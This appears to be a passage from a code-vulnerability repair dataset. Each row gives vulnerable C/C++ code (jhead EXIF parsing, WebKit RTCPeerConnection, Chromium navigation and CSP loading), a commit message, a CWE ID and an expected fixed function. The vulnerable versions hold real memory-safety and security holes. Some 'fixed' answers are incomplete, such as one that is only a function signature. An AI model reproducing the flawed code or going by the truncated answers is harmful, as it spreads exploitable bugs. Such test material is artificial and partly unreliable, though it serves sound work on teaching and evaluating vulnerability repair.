case TAG_EXPOSURE_INDEX:
if (ImageInfo.ISOequivalent == 0){
ImageInfo.ISOequivalent = (int)ConvertAnyFormat(ValuePtr, Format);
}
break;
case TAG_EXPOSURE_MODE:
ImageInfo.ExposureMode = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_ISO_EQUIVALENT:
ImageInfo.ISOequivalent = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_DIGITALZOOMRATIO:
ImageInfo.DigitalZoomRatio = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_THUMBNAIL_OFFSET:
ThumbnailOffset = (unsigned)ConvertAnyFormat(ValuePtr, Format);
DirWithThumbnailPtrs = DirStart;
break;
case TAG_THUMBNAIL_LENGTH:
ThumbnailSize = (unsigned)ConvertAnyFormat(ValuePtr, Format);
ImageInfo.ThumbnailSizeOffset = ValuePtr-OffsetBase;
break;
case TAG_EXIF_OFFSET:
if (ShowTags) printf("%s Exif Dir:",IndentString);
case TAG_INTEROP_OFFSET:
if (Tag == TAG_INTEROP_OFFSET && ShowTags) printf("%s Interop Dir:",IndentString);
{
unsigned char * SubdirStart;
SubdirStart = OffsetBase + Get32u(ValuePtr);
if (SubdirStart < OffsetBase || SubdirStart > OffsetBase+ExifLength){
ErrNonfatal("Illegal exif or interop ofset directory link",0,0);
}else{
ProcessExifDir(SubdirStart, OffsetBase, ExifLength, NestingLevel+1);
}
continue;
}
break;
case TAG_GPSINFO:
if (ShowTags) printf("%s GPS info dir:",IndentString);
{
unsigned char * SubdirStart;
SubdirStart = OffsetBase + Get32u(ValuePtr);
if (SubdirStart < OffsetBase || SubdirStart > OffsetBase+ExifLength){
ErrNonfatal("Illegal GPS directory link",0,0);
}else{
ProcessGpsInfo(SubdirStart, ByteCount, OffsetBase, ExifLength);
}
continue;
}
break;
case TAG_FOCALLENGTH_35MM:
ImageInfo.FocalLength35mmEquiv = (unsigned)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_DISTANCE_RANGE:
ImageInfo.DistanceRange = (int)ConvertAnyFormat(ValuePtr, Format);
break;
}
}
{
unsigned char * SubdirStart;
unsigned Offset;
if (DIR_ENTRY_ADDR(DirStart, NumDirEntries) + 4 <= OffsetBase+ExifLength){
printf("DirStart %p offset from dirstart %d", DirStart, 2+12*NumDirEntries);
Offset = Get32u(DirStart+2+12*NumDirEntries);
if (Offset){
SubdirStart = OffsetBase + Offset;
if (SubdirStart > OffsetBase+ExifLength || SubdirStart < OffsetBase){
printf("SubdirStart %p OffsetBase %p ExifLength %d Offset %d",
SubdirStart, OffsetBase, ExifLength, Offset);
if (SubdirStart > OffsetBase && SubdirStart < OffsetBase+ExifLength+20){
if (ShowTags) printf("Thumbnail removed with Jhead 1.3 or earlier\n");
}else{
ErrNonfatal("Illegal subdirectory link",0,0);
}
}else{
if (SubdirStart <= OffsetBase+ExifLength){
if (ShowTags) printf("%s Continued directory ",IndentString);
ProcessExifDir(SubdirStart, OffsetBase, ExifLength, NestingLevel+1);
}
}
if (Offset > ImageInfo.LargestExifOffset){
ImageInfo.LargestExifOffset = Offset;
}
}
}else{
}
}
if (ThumbnailOffset){
ImageInfo.ThumbnailAtEnd = FALSE;
if (DumpExifMap){
printf("Map: %05d-%05d: Thumbnail\n",ThumbnailOffset, ThumbnailOffset+ThumbnailSize);
}
if (ThumbnailOffset <= ExifLength){
if (ThumbnailSize > ExifLength-ThumbnailOffset){
ThumbnailSize = ExifLength-ThumbnailOffset;
if (ShowTags) printf("Thumbnail incorrectly placed in header\n");
}
ImageInfo.ThumbnailOffset = ThumbnailOffset;
ImageInfo.ThumbnailSize = ThumbnailSize;
if (ShowTags){
printf("Thumbnail size: %d bytes\n",ThumbnailSize);
}
}
}
printf("returning from ProcessExifDir");
}
Commit Message: Fix possible out of bounds access
Bug: 28868315
Change-Id: I2b416c662f9ad7f9b3c6cf973a39c6693c66775a
CWE ID: CWE-119 | static void ProcessExifDir(unsigned char * DirStart, unsigned char * OffsetBase,
unsigned ExifLength, int NestingLevel)
{
int de;
int a;
int NumDirEntries;
unsigned ThumbnailOffset = 0;
unsigned ThumbnailSize = 0;
char IndentString[25];
printf("ProcessExifDir");
if (NestingLevel > 4){
ErrNonfatal("Maximum directory nesting exceeded (corrupt exif header)", 0,0);
return;
}
memset(IndentString, ' ', 25);
IndentString[NestingLevel * 4] = '\0';
NumDirEntries = Get16u(DirStart);
#define DIR_ENTRY_ADDR(Start, Entry) (Start+2+12*(Entry))
{
unsigned char * DirEnd;
DirEnd = DIR_ENTRY_ADDR(DirStart, NumDirEntries);
if (DirEnd+4 > (OffsetBase+ExifLength)){
if (DirEnd+2 == OffsetBase+ExifLength || DirEnd == OffsetBase+ExifLength){
}else{
ErrNonfatal("Illegally sized exif subdirectory (%d entries)",NumDirEntries,0);
return;
}
}
if (DumpExifMap){
printf("Map: %05d-%05d: Directory\n",(int)(DirStart-OffsetBase), (int)(DirEnd+4-OffsetBase));
}
}
if (ShowTags){
printf("(dir has %d entries)\n",NumDirEntries);
}
for (de=0;de<NumDirEntries;de++){
int Tag, Format, Components;
unsigned char * ValuePtr;
int ByteCount;
unsigned char * DirEntry;
DirEntry = DIR_ENTRY_ADDR(DirStart, de);
Tag = Get16u(DirEntry);
Format = Get16u(DirEntry+2);
Components = Get32u(DirEntry+4);
if ((Format-1) >= NUM_FORMATS) {
ErrNonfatal("Illegal number format %d for tag %04x", Format, Tag);
continue;
}
if ((unsigned)Components > 0x10000){
ErrNonfatal("Illegal number of components %d for tag %04x", Components, Tag);
continue;
}
ByteCount = Components * BytesPerFormat[Format];
if (ByteCount > 4){
unsigned OffsetVal;
OffsetVal = Get32u(DirEntry+8);
if (OffsetVal > UINT32_MAX - ByteCount || OffsetVal+ByteCount > ExifLength){
ErrNonfatal("Illegal value pointer for tag %04x", Tag,0);
continue;
}
ValuePtr = OffsetBase+OffsetVal;
if (OffsetVal > ImageInfo.LargestExifOffset){
ImageInfo.LargestExifOffset = OffsetVal;
}
if (DumpExifMap){
printf("Map: %05d-%05d: Data for tag %04x\n",OffsetVal, OffsetVal+ByteCount, Tag);
}
}else{
ValuePtr = DirEntry+8;
}
if (Tag == TAG_MAKER_NOTE){
if (ShowTags){
printf("%s Maker note: ",IndentString);
}
ProcessMakerNote(ValuePtr, ByteCount, OffsetBase, ExifLength);
continue;
}
if (ShowTags){
for (a=0;;a++){
if (a >= (int)TAG_TABLE_SIZE){
printf("%s", IndentString);
printf(" Unknown Tag %04x Value = ", Tag);
break;
}
if (TagTable[a].Tag == Tag){
printf("%s", IndentString);
printf(" %s = ",TagTable[a].Desc);
break;
}
}
switch(Format){
case FMT_BYTE:
if(ByteCount>1){
printf("%.*ls\n", ByteCount/2, (wchar_t *)ValuePtr);
}else{
PrintFormatNumber(ValuePtr, Format, ByteCount);
printf("\n");
}
break;
case FMT_UNDEFINED:
case FMT_STRING:
{
printf("\"%s\"", ValuePtr);
}
break;
default:
PrintFormatNumber(ValuePtr, Format, ByteCount);
printf("\n");
}
}
switch(Tag){
case TAG_MAKE:
strncpy(ImageInfo.CameraMake, (char *)ValuePtr, ByteCount < 31 ? ByteCount : 31);
break;
case TAG_MODEL:
strncpy(ImageInfo.CameraModel, (char *)ValuePtr, ByteCount < 39 ? ByteCount : 39);
break;
case TAG_SUBSEC_TIME:
strlcpy(ImageInfo.SubSecTime, (char *)ValuePtr, sizeof(ImageInfo.SubSecTime));
break;
case TAG_SUBSEC_TIME_ORIG:
strlcpy(ImageInfo.SubSecTimeOrig, (char *)ValuePtr,
sizeof(ImageInfo.SubSecTimeOrig));
break;
case TAG_SUBSEC_TIME_DIG:
strlcpy(ImageInfo.SubSecTimeDig, (char *)ValuePtr,
sizeof(ImageInfo.SubSecTimeDig));
break;
case TAG_DATETIME_DIGITIZED:
strlcpy(ImageInfo.DigitizedTime, (char *)ValuePtr,
sizeof(ImageInfo.DigitizedTime));
if (ImageInfo.numDateTimeTags >= MAX_DATE_COPIES){
ErrNonfatal("More than %d date fields! This is nuts", MAX_DATE_COPIES, 0);
break;
}
ImageInfo.DateTimeOffsets[ImageInfo.numDateTimeTags++] =
(char *)ValuePtr - (char *)OffsetBase;
break;
case TAG_DATETIME_ORIGINAL:
strncpy(ImageInfo.DateTime, (char *)ValuePtr, 19);
case TAG_DATETIME:
if (!isdigit(ImageInfo.DateTime[0])){
strncpy(ImageInfo.DateTime, (char *)ValuePtr, 19);
}
if (ImageInfo.numDateTimeTags >= MAX_DATE_COPIES){
ErrNonfatal("More than %d date fields! This is nuts", MAX_DATE_COPIES, 0);
break;
}
ImageInfo.DateTimeOffsets[ImageInfo.numDateTimeTags++] =
(char *)ValuePtr - (char *)OffsetBase;
break;
case TAG_WINXP_COMMENT:
if (ImageInfo.Comments[0]){ // We already have a jpeg comment.
if (ShowTags) printf("Windows XP commend and other comment in header\n");
break; // Already have a windows comment, skip this one.
}
if (ByteCount > 1){
if (ByteCount > MAX_COMMENT_SIZE) ByteCount = MAX_COMMENT_SIZE;
memcpy(ImageInfo.Comments, ValuePtr, ByteCount);
ImageInfo.CommentWidchars = ByteCount/2;
}
break;
case TAG_USERCOMMENT:
if (ImageInfo.Comments[0]){ // We already have a jpeg comment.
if (ShowTags) printf("Multiple comments in exif header\n");
break; // Already have a windows comment, skip this one.
}
for (a=ByteCount;;){
a--;
if ((ValuePtr)[a] == ' '){
(ValuePtr)[a] = '\0';
}else{
break;
}
if (a == 0) break;
}
{
int msiz = ExifLength - (ValuePtr-OffsetBase);
if (msiz > ByteCount) msiz = ByteCount;
if (msiz > MAX_COMMENT_SIZE - 1) msiz = MAX_COMMENT_SIZE - 1;
if (msiz > 5 && memcmp(ValuePtr, "ASCII", 5) == 0) {
for (a = 5; a < 10 && a < msiz; a++) {
int c = (ValuePtr)[a];
if (c != '\0' && c != ' ') {
strncpy(ImageInfo.Comments,
(char *)ValuePtr + a, msiz - a);
break;
}
}
} else {
strncpy(ImageInfo.Comments, (char *)ValuePtr, msiz);
}
}
break;
case TAG_FNUMBER:
ImageInfo.ApertureFNumber = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_APERTURE:
case TAG_MAXAPERTURE:
if (ImageInfo.ApertureFNumber == 0){
ImageInfo.ApertureFNumber
= (float)exp(ConvertAnyFormat(ValuePtr, Format)*log(2)*0.5);
}
break;
case TAG_FOCALLENGTH:
ImageInfo.FocalLength.num = Get32u(ValuePtr);
ImageInfo.FocalLength.denom = Get32u(4+(char *)ValuePtr);
break;
case TAG_SUBJECT_DISTANCE:
ImageInfo.Distance = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_EXPOSURETIME:
ImageInfo.ExposureTime = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_SHUTTERSPEED:
if (ImageInfo.ExposureTime == 0){
ImageInfo.ExposureTime
= (float)(1/exp(ConvertAnyFormat(ValuePtr, Format)*log(2)));
}
break;
case TAG_FLASH:
ImageInfo.FlashUsed=(int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_ORIENTATION:
if (NumOrientations >= 2){
ErrNonfatal("More than two orientation tags!",0,0);
break;
}
OrientationPtr[NumOrientations] = ValuePtr;
OrientationNumFormat[NumOrientations] = Format;
if (NumOrientations == 0){
ImageInfo.Orientation = (int)ConvertAnyFormat(ValuePtr, Format);
}
if (ImageInfo.Orientation < 0 || ImageInfo.Orientation > 8){
ErrNonfatal("Undefined rotation value %d", ImageInfo.Orientation, 0);
ImageInfo.Orientation = 0;
}
NumOrientations += 1;
break;
case TAG_EXIF_IMAGELENGTH:
case TAG_EXIF_IMAGEWIDTH:
a = (int)ConvertAnyFormat(ValuePtr, Format);
if (ExifImageWidth < a) ExifImageWidth = a;
break;
case TAG_FOCAL_PLANE_XRES:
FocalplaneXRes = ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_FOCAL_PLANE_UNITS:
switch((int)ConvertAnyFormat(ValuePtr, Format)){
case 1: FocalplaneUnits = 25.4; break; // inch
case 2:
FocalplaneUnits = 25.4;
break;
case 3: FocalplaneUnits = 10; break; // centimeter
case 4: FocalplaneUnits = 1; break; // millimeter
case 5: FocalplaneUnits = .001; break; // micrometer
}
break;
case TAG_EXPOSURE_BIAS:
ImageInfo.ExposureBias = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_WHITEBALANCE:
ImageInfo.Whitebalance = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_LIGHT_SOURCE:
ImageInfo.LightSource = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_METERING_MODE:
ImageInfo.MeteringMode = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_EXPOSURE_PROGRAM:
ImageInfo.ExposureProgram = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_EXPOSURE_INDEX:
if (ImageInfo.ISOequivalent == 0){
ImageInfo.ISOequivalent = (int)ConvertAnyFormat(ValuePtr, Format);
}
break;
case TAG_EXPOSURE_MODE:
ImageInfo.ExposureMode = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_ISO_EQUIVALENT:
ImageInfo.ISOequivalent = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_DIGITALZOOMRATIO:
ImageInfo.DigitalZoomRatio = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_THUMBNAIL_OFFSET:
ThumbnailOffset = (unsigned)ConvertAnyFormat(ValuePtr, Format);
DirWithThumbnailPtrs = DirStart;
break;
case TAG_THUMBNAIL_LENGTH:
ThumbnailSize = (unsigned)ConvertAnyFormat(ValuePtr, Format);
ImageInfo.ThumbnailSizeOffset = ValuePtr-OffsetBase;
break;
case TAG_EXIF_OFFSET:
if (ShowTags) printf("%s Exif Dir:",IndentString);
case TAG_INTEROP_OFFSET:
if (Tag == TAG_INTEROP_OFFSET && ShowTags) printf("%s Interop Dir:",IndentString);
{
unsigned char * SubdirStart;
SubdirStart = OffsetBase + Get32u(ValuePtr);
if (SubdirStart < OffsetBase || SubdirStart > OffsetBase+ExifLength){
ErrNonfatal("Illegal exif or interop ofset directory link",0,0);
}else{
ProcessExifDir(SubdirStart, OffsetBase, ExifLength, NestingLevel+1);
}
continue;
}
break;
case TAG_GPSINFO:
if (ShowTags) printf("%s GPS info dir:",IndentString);
{
unsigned char * SubdirStart;
SubdirStart = OffsetBase + Get32u(ValuePtr);
if (SubdirStart < OffsetBase || SubdirStart > OffsetBase+ExifLength){
ErrNonfatal("Illegal GPS directory link",0,0);
}else{
ProcessGpsInfo(SubdirStart, ByteCount, OffsetBase, ExifLength);
}
continue;
}
break;
case TAG_FOCALLENGTH_35MM:
ImageInfo.FocalLength35mmEquiv = (unsigned)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_DISTANCE_RANGE:
ImageInfo.DistanceRange = (int)ConvertAnyFormat(ValuePtr, Format);
break;
}
}
{
unsigned char * SubdirStart;
unsigned Offset;
if (DIR_ENTRY_ADDR(DirStart, NumDirEntries) + 4 <= OffsetBase+ExifLength){
printf("DirStart %p offset from dirstart %d", DirStart, 2+12*NumDirEntries);
Offset = Get32u(DirStart+2+12*NumDirEntries);
if (Offset){
SubdirStart = OffsetBase + Offset;
if (SubdirStart > OffsetBase+ExifLength || SubdirStart < OffsetBase){
printf("SubdirStart %p OffsetBase %p ExifLength %d Offset %d",
SubdirStart, OffsetBase, ExifLength, Offset);
if (SubdirStart > OffsetBase && SubdirStart < OffsetBase+ExifLength+20){
if (ShowTags) printf("Thumbnail removed with Jhead 1.3 or earlier\n");
}else{
ErrNonfatal("Illegal subdirectory link",0,0);
}
}else{
if (SubdirStart <= OffsetBase+ExifLength){
if (ShowTags) printf("%s Continued directory ",IndentString);
ProcessExifDir(SubdirStart, OffsetBase, ExifLength, NestingLevel+1);
}
}
if (Offset > ImageInfo.LargestExifOffset){
ImageInfo.LargestExifOffset = Offset;
}
}
}else{
}
}
if (ThumbnailOffset){
ImageInfo.ThumbnailAtEnd = FALSE;
if (DumpExifMap){
printf("Map: %05d-%05d: Thumbnail\n",ThumbnailOffset, ThumbnailOffset+ThumbnailSize);
}
if (ThumbnailOffset <= ExifLength){
if (ThumbnailSize > ExifLength-ThumbnailOffset){
ThumbnailSize = ExifLength-ThumbnailOffset;
if (ShowTags) printf("Thumbnail incorrectly placed in header\n");
}
ImageInfo.ThumbnailOffset = ThumbnailOffset;
ImageInfo.ThumbnailSize = ThumbnailSize;
if (ShowTags){
printf("Thumbnail size: %d bytes\n",ThumbnailSize);
}
}
}
printf("returning from ProcessExifDir");
}
| 173,536 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void RTCPeerConnection::setLocalDescription(PassRefPtr<RTCSessionDescription> prpSessionDescription, PassRefPtr<VoidCallback> successCallback, PassRefPtr<RTCErrorCallback> errorCallback, ExceptionCode& ec)
{
if (m_readyState == ReadyStateClosing || m_readyState == ReadyStateClosed) {
ec = INVALID_STATE_ERR;
return;
}
RefPtr<RTCSessionDescription> sessionDescription = prpSessionDescription;
if (!sessionDescription) {
ec = TYPE_MISMATCH_ERR;
return;
}
RefPtr<RTCVoidRequestImpl> request = RTCVoidRequestImpl::create(scriptExecutionContext(), successCallback, errorCallback);
m_peerHandler->setLocalDescription(request.release(), sessionDescription->descriptor());
}
Commit Message: Unreviewed, rolling out r127612, r127660, and r127664.
http://trac.webkit.org/changeset/127612
http://trac.webkit.org/changeset/127660
http://trac.webkit.org/changeset/127664
https://bugs.webkit.org/show_bug.cgi?id=95920
Source/Platform:
* Platform.gypi:
* chromium/public/WebRTCPeerConnectionHandler.h:
(WebKit):
(WebRTCPeerConnectionHandler):
* chromium/public/WebRTCVoidRequest.h: Removed.
Source/WebCore:
* CMakeLists.txt:
* GNUmakefile.list.am:
* Modules/mediastream/RTCErrorCallback.h:
(WebCore):
(RTCErrorCallback):
* Modules/mediastream/RTCErrorCallback.idl:
* Modules/mediastream/RTCPeerConnection.cpp:
(WebCore::RTCPeerConnection::createOffer):
* Modules/mediastream/RTCPeerConnection.h:
(WebCore):
(RTCPeerConnection):
* Modules/mediastream/RTCPeerConnection.idl:
* Modules/mediastream/RTCSessionDescriptionCallback.h:
(WebCore):
(RTCSessionDescriptionCallback):
* Modules/mediastream/RTCSessionDescriptionCallback.idl:
* Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp:
(WebCore::RTCSessionDescriptionRequestImpl::create):
(WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl):
(WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded):
(WebCore::RTCSessionDescriptionRequestImpl::requestFailed):
(WebCore::RTCSessionDescriptionRequestImpl::clear):
* Modules/mediastream/RTCSessionDescriptionRequestImpl.h:
(RTCSessionDescriptionRequestImpl):
* Modules/mediastream/RTCVoidRequestImpl.cpp: Removed.
* Modules/mediastream/RTCVoidRequestImpl.h: Removed.
* WebCore.gypi:
* platform/chromium/support/WebRTCVoidRequest.cpp: Removed.
* platform/mediastream/RTCPeerConnectionHandler.cpp:
(RTCPeerConnectionHandlerDummy):
(WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy):
* platform/mediastream/RTCPeerConnectionHandler.h:
(WebCore):
(WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler):
(RTCPeerConnectionHandler):
(WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler):
* platform/mediastream/RTCVoidRequest.h: Removed.
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp:
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h:
(RTCPeerConnectionHandlerChromium):
Tools:
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp:
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask):
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::createOffer):
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h:
(MockWebRTCPeerConnectionHandler):
(SuccessCallbackTask):
(FailureCallbackTask):
LayoutTests:
* fast/mediastream/RTCPeerConnection-createOffer.html:
* fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-localDescription.html: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed.
git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | void RTCPeerConnection::setLocalDescription(PassRefPtr<RTCSessionDescription> prpSessionDescription, PassRefPtr<VoidCallback> successCallback, PassRefPtr<RTCErrorCallback> errorCallback, ExceptionCode& ec)
| 170,338 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool LocalFrameClientImpl::NavigateBackForward(int offset) const {
WebViewImpl* webview = web_frame_->ViewImpl();
if (!webview->Client())
return false;
DCHECK(offset);
if (offset > webview->Client()->HistoryForwardListCount())
return false;
if (offset < -webview->Client()->HistoryBackListCount())
return false;
webview->Client()->NavigateBackForwardSoon(offset);
return true;
}
Commit Message: Prevent renderer initiated back navigation to cancel a browser one.
Renderer initiated back/forward navigations must not be able to cancel ongoing
browser initiated navigation if they are not user initiated.
Note: 'normal' renderer initiated navigation uses the
FrameHost::BeginNavigation() path. A code similar to this patch is done
in NavigatorImpl::OnBeginNavigation().
Test:
-----
Added: NavigationBrowserTest.
* HistoryBackInBeforeUnload
* HistoryBackInBeforeUnloadAfterSetTimeout
* HistoryBackCancelPendingNavigationNoUserGesture
* HistoryBackCancelPendingNavigationUserGesture
Fixed:
* (WPT) .../the-history-interface/traverse_the_history_2.html
* (WPT) .../the-history-interface/traverse_the_history_3.html
* (WPT) .../the-history-interface/traverse_the_history_4.html
* (WPT) .../the-history-interface/traverse_the_history_5.html
Bug: 879965
Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c
Reviewed-on: https://chromium-review.googlesource.com/1209744
Commit-Queue: Arthur Sonzogni <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Mustaq Ahmed <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Reviewed-by: Charlie Reis <[email protected]>
Cr-Commit-Position: refs/heads/master@{#592823}
CWE ID: CWE-254 | bool LocalFrameClientImpl::NavigateBackForward(int offset) const {
WebViewImpl* webview = web_frame_->ViewImpl();
if (!webview->Client())
return false;
DCHECK(offset);
if (offset > webview->Client()->HistoryForwardListCount())
return false;
if (offset < -webview->Client()->HistoryBackListCount())
return false;
bool has_user_gesture =
Frame::HasTransientUserActivation(web_frame_->GetFrame());
webview->Client()->NavigateBackForwardSoon(offset, has_user_gesture);
return true;
}
| 172,649 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void DocumentLoader::InstallNewDocument(
const KURL& url,
Document* owner_document,
WebGlobalObjectReusePolicy global_object_reuse_policy,
const AtomicString& mime_type,
const AtomicString& encoding,
InstallNewDocumentReason reason,
ParserSynchronizationPolicy parsing_policy,
const KURL& overriding_url) {
DCHECK(!frame_->GetDocument() || !frame_->GetDocument()->IsActive());
DCHECK_EQ(frame_->Tree().ChildCount(), 0u);
if (GetFrameLoader().StateMachine()->IsDisplayingInitialEmptyDocument()) {
GetFrameLoader().StateMachine()->AdvanceTo(
FrameLoaderStateMachine::kCommittedFirstRealLoad);
}
const SecurityOrigin* previous_security_origin = nullptr;
if (frame_->GetDocument())
previous_security_origin = frame_->GetDocument()->GetSecurityOrigin();
if (global_object_reuse_policy != WebGlobalObjectReusePolicy::kUseExisting)
frame_->SetDOMWindow(LocalDOMWindow::Create(*frame_));
if (reason == InstallNewDocumentReason::kNavigation)
WillCommitNavigation();
Document* document = frame_->DomWindow()->InstallNewDocument(
mime_type,
DocumentInit::Create()
.WithDocumentLoader(this)
.WithURL(url)
.WithOwnerDocument(owner_document)
.WithNewRegistrationContext(),
false);
if (frame_->IsMainFrame())
frame_->ClearActivation();
if (frame_->HasReceivedUserGestureBeforeNavigation() !=
had_sticky_activation_) {
frame_->SetDocumentHasReceivedUserGestureBeforeNavigation(
had_sticky_activation_);
GetLocalFrameClient().SetHasReceivedUserGestureBeforeNavigation(
had_sticky_activation_);
}
if (ShouldClearWindowName(*frame_, previous_security_origin, *document)) {
frame_->Tree().ExperimentalSetNulledName();
}
if (!overriding_url.IsEmpty())
document->SetBaseURLOverride(overriding_url);
DidInstallNewDocument(document);
if (reason == InstallNewDocumentReason::kNavigation)
DidCommitNavigation(global_object_reuse_policy);
if (GetFrameLoader().StateMachine()->CommittedFirstRealDocumentLoad()) {
if (document->GetSettings()
->GetForceTouchEventFeatureDetectionForInspector()) {
OriginTrialContext::FromOrCreate(document)->AddFeature(
"ForceTouchEventFeatureDetectionForInspector");
}
OriginTrialContext::AddTokensFromHeader(
document, response_.HttpHeaderField(HTTPNames::Origin_Trial));
}
bool stale_while_revalidate_enabled =
OriginTrials::StaleWhileRevalidateEnabled(document);
fetcher_->SetStaleWhileRevalidateEnabled(stale_while_revalidate_enabled);
if (stale_while_revalidate_enabled &&
!RuntimeEnabledFeatures::StaleWhileRevalidateEnabledByRuntimeFlag())
UseCounter::Count(frame_, WebFeature::kStaleWhileRevalidateEnabled);
parser_ = document->OpenForNavigation(parsing_policy, mime_type, encoding);
ScriptableDocumentParser* scriptable_parser =
parser_->AsScriptableDocumentParser();
if (scriptable_parser && GetResource()) {
scriptable_parser->SetInlineScriptCacheHandler(
ToRawResource(GetResource())->InlineScriptCacheHandler());
}
document->ApplyFeaturePolicyFromHeader(
response_.HttpHeaderField(HTTPNames::Feature_Policy));
GetFrameLoader().DispatchDidClearDocumentOfWindowObject();
}
Commit Message: Inherit CSP when self-navigating to local-scheme URL
As the linked bug example shows, we should inherit CSP when we navigate
to a local-scheme URL (even if we are in a main browsing context).
Bug: 799747
Change-Id: I8413aa8e8049461ebcf0ffbf7b04c41d1340af02
Reviewed-on: https://chromium-review.googlesource.com/c/1234337
Reviewed-by: Mike West <[email protected]>
Commit-Queue: Andy Paicu <[email protected]>
Cr-Commit-Position: refs/heads/master@{#597889}
CWE ID: | void DocumentLoader::InstallNewDocument(
const KURL& url,
Document* owner_document,
WebGlobalObjectReusePolicy global_object_reuse_policy,
const AtomicString& mime_type,
const AtomicString& encoding,
InstallNewDocumentReason reason,
ParserSynchronizationPolicy parsing_policy,
const KURL& overriding_url) {
DCHECK(!frame_->GetDocument() || !frame_->GetDocument()->IsActive());
DCHECK_EQ(frame_->Tree().ChildCount(), 0u);
if (GetFrameLoader().StateMachine()->IsDisplayingInitialEmptyDocument()) {
GetFrameLoader().StateMachine()->AdvanceTo(
FrameLoaderStateMachine::kCommittedFirstRealLoad);
}
const SecurityOrigin* previous_security_origin = nullptr;
const ContentSecurityPolicy* previous_csp = nullptr;
if (frame_->GetDocument()) {
previous_security_origin = frame_->GetDocument()->GetSecurityOrigin();
previous_csp = frame_->GetDocument()->GetContentSecurityPolicy();
}
if (global_object_reuse_policy != WebGlobalObjectReusePolicy::kUseExisting)
frame_->SetDOMWindow(LocalDOMWindow::Create(*frame_));
if (reason == InstallNewDocumentReason::kNavigation)
WillCommitNavigation();
Document* document = frame_->DomWindow()->InstallNewDocument(
mime_type,
DocumentInit::Create()
.WithDocumentLoader(this)
.WithURL(url)
.WithOwnerDocument(owner_document)
.WithNewRegistrationContext()
.WithPreviousDocumentCSP(previous_csp),
false);
if (frame_->IsMainFrame())
frame_->ClearActivation();
if (frame_->HasReceivedUserGestureBeforeNavigation() !=
had_sticky_activation_) {
frame_->SetDocumentHasReceivedUserGestureBeforeNavigation(
had_sticky_activation_);
GetLocalFrameClient().SetHasReceivedUserGestureBeforeNavigation(
had_sticky_activation_);
}
if (ShouldClearWindowName(*frame_, previous_security_origin, *document)) {
frame_->Tree().ExperimentalSetNulledName();
}
if (!overriding_url.IsEmpty())
document->SetBaseURLOverride(overriding_url);
DidInstallNewDocument(document, previous_csp);
if (reason == InstallNewDocumentReason::kNavigation)
DidCommitNavigation(global_object_reuse_policy);
if (GetFrameLoader().StateMachine()->CommittedFirstRealDocumentLoad()) {
if (document->GetSettings()
->GetForceTouchEventFeatureDetectionForInspector()) {
OriginTrialContext::FromOrCreate(document)->AddFeature(
"ForceTouchEventFeatureDetectionForInspector");
}
OriginTrialContext::AddTokensFromHeader(
document, response_.HttpHeaderField(HTTPNames::Origin_Trial));
}
bool stale_while_revalidate_enabled =
OriginTrials::StaleWhileRevalidateEnabled(document);
fetcher_->SetStaleWhileRevalidateEnabled(stale_while_revalidate_enabled);
if (stale_while_revalidate_enabled &&
!RuntimeEnabledFeatures::StaleWhileRevalidateEnabledByRuntimeFlag())
UseCounter::Count(frame_, WebFeature::kStaleWhileRevalidateEnabled);
parser_ = document->OpenForNavigation(parsing_policy, mime_type, encoding);
ScriptableDocumentParser* scriptable_parser =
parser_->AsScriptableDocumentParser();
if (scriptable_parser && GetResource()) {
scriptable_parser->SetInlineScriptCacheHandler(
ToRawResource(GetResource())->InlineScriptCacheHandler());
}
document->ApplyFeaturePolicyFromHeader(
response_.HttpHeaderField(HTTPNames::Feature_Policy));
GetFrameLoader().DispatchDidClearDocumentOfWindowObject();
}
| 172,618 |
